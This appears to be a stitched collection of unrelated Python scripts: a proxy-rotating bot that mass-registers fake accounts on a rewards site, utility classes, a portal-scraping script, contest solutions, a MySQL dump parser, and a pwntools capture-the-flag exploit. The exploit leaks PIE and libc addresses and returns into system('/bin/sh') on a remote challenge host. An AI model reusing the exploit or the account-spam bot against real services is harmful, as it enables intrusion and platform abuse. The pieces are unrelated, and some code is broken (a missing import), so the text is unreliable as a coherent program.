			'Content-Type': 'application/x-www-form-urlencoded'
		}
		try:
			c = '{0}@gmail.com'.format(random.randint(999999,999999999999))
			work = False
			prozy = {
				'http': proxy,
				'https': proxy
			}
			s = requests.session()
			r = s.get(
				"http://tinyurl.com/k44xy3f",
				verify=False,
				timeout=6,
				proxies=prozy,
				headers=headers
			)
			auth = re.findall('authenticity_token" value="(.*?)"', r.text)[0]
			va = re.findall('acceptedTos" type="checkbox" value="(.*?)"', r.text)[0]
			r = s.post(
				"https://www.achievemint.com/",
				'utf8=%e2%9c%93&authenticity_token={0}&after_sign_up_path=&user[confirmation_token]=&user[signup_token]=&user[email]={1}&user[password]=dsfdsf@D&user[accepted_tos]=1&user[accepted_tos]={2}&button='.format(auth, c, va),
				verify=False,
				timeout=6,
				proxies=prozy,
				headers=headers
			)
			if 'Welcome to Achievemint!' in r.text:
				print(1)
		except:
			pass

def main():
	for _ in range(3):
		worker = Thread(target=sec, args=())
		worker.start()

if __name__ == '__main__':
	main()


from pathlib import Path
from typing import Any, Dict
import json

MockData = Dict[str, Any]

class Mock:
    """
    A class that holds the `mock.json` file contents
    """

    mock: MockData = {}

    @staticmethod
    def populate(mock_path: Path) -> None:
        if not mock_path.exists():
            raise Exception(f"Mock file {mock_path} does not exists!")

        with mock_path.open("r") as f:
            mock_data: MockData = json.load(f)
            Mock.mock = mock_data


"""
Write a function that takes directory path, a file extension and an optional tokenizer.
It will count lines in all files with that extension if there are no tokenizer.
If a the tokenizer is not none, it will count tokens.
For dir with two files from hw1.py:
#>>> universal_file_counter(test_dir, "txt")
6
#>>> universal_file_counter(test_dir, "txt", str.split)
6
"""
import glob
import os
from pathlib import Path
from typing import Callable, Optional, TextIO

def tokenizer_generator(file_handler: TextIO, tok: Optional[Callable]) -> Generator[int, None, None]:
    buffer = ""
    char = " "
    while True:
        char = file_handler.read(1)
        if not char:
            yield 1  # buffer
            break
        buffer += char

        if len(tok(buffer)) == 1:
            continue
        else:
            yield 1  # tok(buffer)[0]
            buffer = tok(buffer)[1]

def universal_file_counter(
    dir_path: Path, file_extension: str, tokenizer: Optional[Callable] = None
) -> int:
    counter = 0
    for file in Path(dir_path).glob("*." + file_extension):
        with open(file) as f:
            if tokenizer is not None:
                for token in tokenizer_generator(f, tokenizer):
                    counter += token
            else:
                counter += sum(1 for _ in f)

    return counter


import os
import json

class Settings:

    def __init__(self, settings_directory, settings_default):
        self.settings_directory = settings_directory
        self.settings_default = settings_default
        self.settings_file = os.path.join(self.settings_directory, "settings.json")
        # Make sure a settings file with all expected values exists
        self.__add_new_settings()

    def __add_new_settings(self):
        if not os.path.isdir(self.settings_directory):
            os.makedirs(self.settings_directory)
        settings = self.get_settings()
        for key in self.settings_default:
            try:
                settings[key]
            except KeyError:
                self.set_setting(key, self.settings_default[key])

    def save(self, settings) -> None:
        with open(self.settings_file, "w") as file:
            file.write(json.dumps(settings))
            file.close()

    def set_setting(self, key, value) -> None:
        settings = self.get_settings()
        settings[key] = value
        self.save(settings)

    def get_setting(self, setting: str) -> any:
        with open(self.settings_file, "r") as file:
            settings = json.loads(file.read())
            try:
                return settings[setting]
            except KeyError:
                return None

    def get_settings(self) -> dict:
        if os.path.isfile(self.settings_file):
            with open(self.settings_file, "r") as file:
                results = json.loads(file.read())
                changed = False
                if 'ftp_password' in results and results['ftp_password'] and len(results['ftp_password']) < 8:
                    results['ftp_password'] = self.settings_default['ftp_password']
                    changed = True

                if 'ftp_username' in results and results['ftp_username'] and len(results['ftp_username']) < 5:
                    results['ftp_username'] = self.settings_default['ftp_username']
                    changed = True

                if changed:
                    results['enable_ftp_server'] = False
                    self.save(results)

                return results
        return {}


"""

Steps to run:
python python policy_list_report_scraper.py

Program written in Python 3

Program Output:
1 file:
Exported_data.csv - csv file that contains the policy list report data

Program Description:
Progam first fetches the ASP login page paramters - __VIEWSTATE, __VIEWSTATEGENERATOR,
etc and then inputs these paramters and the login credentials to login
Then the program stores cookie info and uses it along with the new page parameters
to access the policy list reports page.
The code then mimics the "Go" POST request with the date parameters (hardcoded)
along with other parameters to get the report details.
The export POST request is then performed using the new set of form paramters.
The response contains the final exported csv contents which are written to a csv file:
Exported_data.csv

"""
import sys
import requests
from bs4 import BeautifulSoup
import json

# Main Function
def main():
    # Login credentials
    credentials = dict()
    credentials['username'] = 'sample'
    credentials['password'] = 'sample'
    print("Getting login session parameters to login")
    # Home page URL
    home_page_url = 'https://secure.financepro.net/financepro/default.aspx?company=deltafinance'
    # Storing the session info
    session = requests.Session()
    response = session.get(home_page_url)
    # Parsing the response using Beautiful Soup
    soup = BeautifulSoup(response.content, 'html.parser')
    # Storing 3 ASP web-page specific form parameters to use to login
    viewstate = soup.select('input[name=__VIEWSTATE]')[0]['value']
    viewstate_generator = soup.select('input[name=__VIEWSTATEGENERATOR]')[0]['value']
    event_validation = soup.select('input[name=__EVENTVALIDATION]')[0]['value']
    login_form_parameters = dict()
    login_form_parameters['__VIEWSTATE'] = viewstate
    login_form_parameters['__VIEWSTATEGENERATOR'] = viewstate_generator
    login_form_parameters['__EVENTVALIDATION'] = event_validation
    login_form_parameters['tblForm$txtUserName'] = credentials['username']
    login_form_parameters['tblForm$txtPassword'] = credentials['password']
    login_form_parameters['tblForm$btnLogin'] = 'Log In'
    login_form_parameters['tblForm$txtCompanyCode'] = 'deltafinance'
    # Storing the cookies post login
    response = session.post(home_page_url, login_form_parameters)
    cookies = session.cookies.get_dict()
    # Logging in
    response = requests.post(home_page_url, login_form_parameters)
    print("Logged in")
    # Hardcoded Policy list data parameters
    policy_list_date_params = dict()
    policy_list_date_params['Date_Activated_Start_Date'] = '8/1/2009'
    policy_list_date_params['Date_Activated_End_Date'] = '8/31/2019'
    policy_list_date_params['Date_Change_Status_Start_Date'] = '8/1/2019'
    policy_list_date_params['Date_Change_Status_End_Date'] = '8/31/2019'
    print("\nPolicy List Dates that will be used:\n")
    for key, val in policy_list_date_params.items():
        print(key, ":", val)
    print("\nAccessing Policy List Report Page")
    reports_home_url = 'https://secure.financepro.net/financepro/Reports/ReportsHome.aspx'
    policy_list_url = 'https://secure.financepro.net/financepro/Reports/PolicyList.aspx'
    response = session.get(policy_list_url, cookies=cookies)
    soup = BeautifulSoup(response.content, 'html.parser')
    script_tags = soup.find_all("script")
    # Retrieving the form paramters to send in the POST request
    # 16th script tag contains json form paramters to send in the POST request
    parameters = script_tags[15].text
    # Retaining only the relevant json form parameters
    start_ind = parameters.find("JSON.parse")
    end_ind = parameters.find('")', start_ind)
    parameters = parameters[start_ind + len("JSON.parse") + 2:end_ind]
    parameters = parameters.replace("\\", "")
    policy_list_info_params = dict()
    # Getting the ASP accounts web page session paramters
    viewstate = soup.select('input[name=__VIEWSTATE]')[0]['value']
    viewstate_generator = soup.select('input[name=__VIEWSTATEGENERATOR]')[0]['value']
    event_validation = soup.select('input[name=__EVENTVALIDATION]')[0]['value']
    print("Parameters retrieved for making to Go POST request")
    # Storing paramters to get account details page
    policy_list_info_params['__VIEWSTATE'] = viewstate
    policy_list_info_params['__VIEWSTATEGENERATOR'] = viewstate_generator
    policy_list_info_params['__EVENTVALIDATION'] = event_validation
    policy_list_info_params['PolicyDateRange'] = 'rbPolicyActivation'
    # The data parameters need to manually changed
    policy_list_info_params['DateActivatedFilter$txtStartDate'] = policy_list_date_params['Date_Activated_Start_Date']
    policy_list_info_params['DateActivatedFilter$txtEndDate'] = policy_list_date_params['Date_Activated_End_Date']
    policy_list_info_params['DateChangeStatusFilter$txtStartDate'] = policy_list_date_params['Date_Change_Status_Start_Date']
    policy_list_info_params['DateChangeStatusFilter$txtEndDate'] = policy_list_date_params['Date_Change_Status_End_Date']
    policy_list_info_params['ddlAgent$ctlAjaxDropDown$hidSelectedItem'] = parameters
    policy_list_info_params['ddlGroupBy'] = 'AgentName, AccountNumber'
    policy_list_info_params['btnGo'] = 'Go'
    # Mimicing the POST request on clicking the "Go" button
    response = requests.post(policy_list_url, policy_list_info_params, cookies=cookies)
    soup = BeautifulSoup(response.content, 'html.parser')
    print("Go button POST request sent")
    viewstate = soup.select('input[name=__VIEWSTATE]')[0]['value']
    viewstate_generator = soup.select('input[name=__VIEWSTATEGENERATOR]')[0]['value']
    event_validation = soup.select('input[name=__EVENTVALIDATION]')[0]['value']
    policy_list_info_params['__VIEWSTATE'] = viewstate
    policy_list_info_params['__VIEWSTATEGENERATOR'] = viewstate_generator
    policy_list_info_params['__EVENTVALIDATION'] = event_validation
    policy_list_info_params['__EVENTARGUMENT'] = 'EXPORT'
    policy_list_info_params['__EVENTTARGET'] = 'Report'
    policy_list_info_params.pop('btnGo', None)
    print("Parameters retrieved for export csv POST request")
    # HTTP POST request to export CSV data
    response = requests.post(policy_list_url, policy_list_info_params, cookies=cookies)
    soup = BeautifulSoup(response.content, 'html.parser')
    # Response contains the exported CSV file
    final_csv_output_string = str(soup).strip()
    print("\nCSV File contents exported:\n")
    print(final_csv_output_string)
    final_csv_output_string += "\n"
    # Writing the CSV contents to a CSV file
    csv_file_name = "Exported_data.csv"
    with open(csv_file_name, "w") as csv_file_handler:
        csv_file_handler.write(final_csv_output_string)
    print("\nCSV contents exported to file:")
    print(csv_file_name)
    print("\nLogging off")
    # Log off page called with cookie info
    log_off_url = 'https://secure.financepro.net/financepro/logoff.aspx'
    response = requests.get(log_off_url, cookies=cookies)
    final_url = 'https://www.deltafinanceoftexas.com/'
    response = requests.get(final_url)

# Entry point of code
if __name__ == "__main__":
    main()


t = int(input())
for _ in range(t):
    n,m = [int(x) for x in input().split()]
    a = []
    for i in range(n):
        a.append(input())
    s = input()
    l = len(s)
    flag = 0
    for i in range(l):
        if(s[i] in a[i%n]):
            f = a[i%n].index(s[i])
            a[i%n] = a[i%n][:f]+a[i%n][f+1:]
        else:
            flag = 1
            break
    if flag == 0:
        print('Yes')
    else:
        print('No')


import os, sys
path = "outages/"
dirs = os.listdir(path)
total_count = 0
total_count2 = 0
for filename in dirs:
	count = 0
	count2 = 0
	with open(path+filename, "r") as f:
		lines = f.readlines()
		for line in lines:
			word = line.split(" ")
			if word and word[0] == "Message-ID:":
				count+=1
			if word and word[0] == "In-Reply-To:":
				count2+=1
		print(filename+ " has " + str(count) + " posts.")
		print(filename+ " has " + str(count2) + " repliess.")
		total_count +=count
		total_count2 +=count2
print("Total posts = " + str(total_count))
print("Total replies = " + str(total_count2))
'''
In-Reply-To:
'''


from pwn import *
import struct
import re

def recvall(conn):
	msg = b''
	while True:
		try:
			new_block = conn.recv(timeout=1)
			if new_block == b'':
				break
			msg += new_block
		except EOFError as e:
			break
	return msg

def ret_to_main(pie_base_addr, conn):

	payload = b'a'*0x2c
	payload += struct.pack("<I", pie_base_addr + 0x11b9)

	log.info("Sending payload to ret_main.")
	log.info("Payload length : {}".format(hex(len(payload))))

	conn.send(payload)

HOST = "chal.tuctf.com"
PORT = 30505

conn = remote(HOST, PORT)

msg = conn.recvline()
msg = conn.recvline()
msg = conn.recvline()

payload = b"a"*0x4

conn.send(payload)

#msg = recvall(conn)
msg = conn.recvline()
#recvall(conn)

msg = msg[10+len(payload):]
msg = msg[:-2]

print(msg)
print(len(msg))

leaks = re.findall(".{4}",msg)
print(leaks)

pie_base_addr = struct.unpack("<I",bytes(leaks[2]))[0] - 0x12ab
buffer_addr = struct.unpack("<I",bytes(leaks[0]))[0]

read_plt = pie_base_addr + 0x4000 + 0xc

msg = recvall(conn)
print(msg)
ret_to_main(pie_base_addr,conn)

msg = recvall(conn)
print(msg)
ret_to_main(pie_base_addr,conn)

msg =recvall(conn)
print(msg)
#conn.interactive()

#############NEW PAYLOAD#############
# Getting a libc.so inst addr (puts)

payload = b'a'*0x20

recvall(conn)

conn.send(payload)

msg = conn.recvline()
leaks = re.findall(".{4}",msg)

print(leaks)

leak_libc_inst_puts = struct.unpack("<I",bytes(leaks[10]))[0]

system_addr = leak_libc_inst_puts - 0x24f00
bin_sh_addr = leak_libc_inst_puts + 0xfbd6b

msg = recvall(conn)
print(msg)
ret_to_main(pie_base_addr,conn)

msg =recvall(conn)
print(msg)
ret_to_main(pie_base_addr,conn)

recvall(conn)

payload = b'b'*0x10
conn.send(payload)

msg = conn.recvline()
leaks = re.findall(".{4}",msg)

print(leaks)

unknown1 = struct.unpack("<I",bytes(leaks[13]))[0]

payload = b'a'*0x2c
payload += struct.pack("<I",system_addr)
payload += b'\xff'*4
payload += struct.pack("<I",bin_sh_addr)

#payload = b'a'*0x2c
#payload += struct.pack("<I", leak_libc_inst_puts)
#payload += b'\xff'*4
#payload += struct.pack("<I", pie_base_addr + 0x4000 + 0x18)

conn.send(payload)
msg = recvall(conn)
print(msg)

conn.send(payload)
#msg = recvall(conn)
#log.info(msg)
#print(hex(struct.unpack("<I",bytes(msg[:4]))[0]))

conn.interactive()

conn.close()


import io, os
from .comment_parser import CommentParser
from .create_parser import CreateParser
from .insert_parser import InsertParser
class Reader:
    def __init__(self):

        self._tables = {}
        self._rows = {}
        self._global_errors = []
        self._global_warnings = []
        self._parsing_errors = []
        self._parsing_warnings = []
        self._schema_errors = []
        self._schema_warnings = []
        self._matched = False

    @property
    def matched(self):
        """ Public getter.  Returns whether or not the content was successfully parsed

        :returns: Whether or not parsing was successful
        :rtype: bool
        """
        return self._matched

    @property
    def parsing_errors(self):
        """ Public getter.  Returns a list of parsing errors

        :returns: A list of parsing errors
        :rtype: list
        """
        return [] if self._parsing_errors is None else self._parsing_errors

    @property
    def parsing_warnings(self):
        """ Public getter.  Returns a list of parsing/table warnings

        :returns: A list of parsing/table warnings
        :rtype: list
        """
        return [] if self._parsing_warnings is None else self._parsing_warnings

    @property
    def schema_errors(self):
        """ Public getter.  Returns a list of schema errors

        :returns: A list of schema errors
        :rtype: list
        """
        return [] if self._schema_errors is None else self._schema_errors

    @property
    def schema_warnings(self):
        """ Public getter.  Returns a list of schema warnings

        :returns: A list of schema warnings
        :rtype: list
        """
        return [] if self._schema_warnings is None else self._schema_warnings

    @property
    def global_errors(self):
        """ Public getter.  Returns a list of schema errors

        :returns: A list of schema errors
        :rtype: list
        """
        return [] if self._global_errors is None else self._global_errors

    @property
    def global_warnings(self):
        """ Public getter.  Returns a list of schema warnings

        :returns: A list of schema warnings
        :rtype: list
        """
        return [] if self._global_warnings is None else self._global_warnings

    @property
    def tables(self):
        """ Public getter.  Returns a list of table definitions

        :returns: A list of table definitions
        :rtype: dict[mygrations.formats.mysql.definitions.table]
        """
        return self._tables

    @property
    def rows(self):
        """ Public getter.  Returns a dictionary containing a lists of rows by table name

        :returns: A dictionary containing list of rows by table name
        :rtype: {table_name: [mygrations.formats.mysql.defintions.row]}
        """
        return self._rows

    """ Helper that returns info about the current filename (if present) for error messages

    :returns: Part of an error message
    :rtype: string
    """

    def _filename_notice(self):

        if self.filename:
            return ' in file %s' % self.filename

        return ''

    """ Reads the file, if necessary

    Reader is a bit more flexible than the other parsers.  It can accept a filename,
    file-like object, or a string.  This method handles that flexibility, taking
    the input from the _parse method and extracting the actual contents no matter
    what was passed in.

    :returns: The data to parse
    :rtype: string
    """

    def _unpack(self, filename):

        # be flexible about what we accept
        # file pointer
        self.filename = ''
        if isinstance(filename, io.IOBase):
            contents = filename.read()

        # and an actual string
        elif isinstance(filename, str):

            # which could be a filename
            if os.path.isfile(filename):
                self.filename = filename
                fp = open(filename, 'r')
                contents = fp.read()
                fp.close()
            else:
                contents = filename

        else:
            raise ValueError(
                "Unknown type for filename: must be an ascii string, a filename, file pointer, or StringIO"
            )

        return contents

    """ Main parsing loop: attempts to find create, insert, and comments in the SQL string
    """

    def parse(self, filename):

        data = self._unpack(filename)

        # okay then!  This is our main parsing loop.
        c = 0
        while data:
            c += 1
            if c > 10000:
                raise ValueError("Exceeded max parse depth")

            # never hurts
            data = data.strip()

            # now we are looking for one of three things:
            # comment, create, insert
            if data[:2] == '--' or data[:2] == '/*' or data[0] == '#':
                parser = CommentParser()
                data = parser.parse(data)

            elif data[:6].lower() == 'create':
                parser = CreateParser()
                data = parser.parse(data)
                self._tables[parser.name] = parser

            elif data[:6].lower() == 'insert':
                parser = InsertParser()
                data = parser.parse(data)
                if not parser.table in self._rows:
                    self._rows[parser.table] = []

                self._rows[parser.table].append(parser)

            else:
                if self._global_errors is None:
                    self._global_errors = []
                self._global_errors.append("Unrecognized MySQL command: %s%s" % (data, self._filename_notice()))
                return data

        self._matched = True
        return data